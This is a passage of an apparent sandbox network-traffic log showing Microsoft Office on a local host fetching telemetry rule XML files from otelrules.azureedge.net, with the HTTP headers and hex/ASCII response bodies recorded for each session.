2024-11-07 16:25:29 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:29 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:29 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:29 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: b1270df0-501e-0035-6dd2-2cc923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162529Z-16547b76f7f9bs6dhC1DFWt3rg00000008bg00000000cu5c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:29 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:29 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:29 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:29 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 6a3542ff-401e-0078-3058-2e4d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162529Z-15869dbbcc6pfq2ghC1DFWmp1400000001mg00000000d85g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:29 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:29 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:29 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:29 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: d5f81faf-001e-0017-2ed2-2c0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162529Z-16547b76f7f7jnp2hC1DFWfc3000000008cg00000000hkzf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:29 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:29 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:29 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:29 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 7c56904f-a01e-0053-4d5c-2e8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162529Z-15869dbbcc6j87jfhC1DFWr0yc00000000f0000000006472 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 16:25:29 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:29 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:30 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:29 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3caab57d-601e-005c-6cd2-2cf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162529Z-16547b76f7fr4g8xhC1DFW9cqc00000007mg000000008nuh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:30 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:29 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:30 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:29 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 8f98044c-301e-006e-14bd-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162529Z-16547b76f7fcrtpchC1DFW52e800000008d000000000eqze x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:30 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:29 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:30 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:30 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 34a6016e-c01e-0082-095f-2eaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162530Z-15869dbbcc6b69h9hC1DFWaf78000000037g00000000e016 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:30 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:29 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:30 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:30 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: a01aecef-901e-005b-2d5f-2e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162530Z-15869dbbcc6sg5zbhC1DFWzt6c00000001t000000000rvxe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:30 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:30 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:30 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:30 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 96da997d-001e-0028-355d-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162530Z-16547b76f7fdf69shC1DFWcpd000000008b0000000007atm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:30 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:30 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:30 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:30 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 3018d77d-101e-008d-49d2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162530Z-16547b76f7fdf69shC1DFWcpd0000000086000000000srac x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:30 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:30 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:30 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:30 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 75393bc5-a01e-00ab-63e1-2f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162530Z-17df447cdb5jg4kthC1DFWux4n00000004fg00000000ryha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:30 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
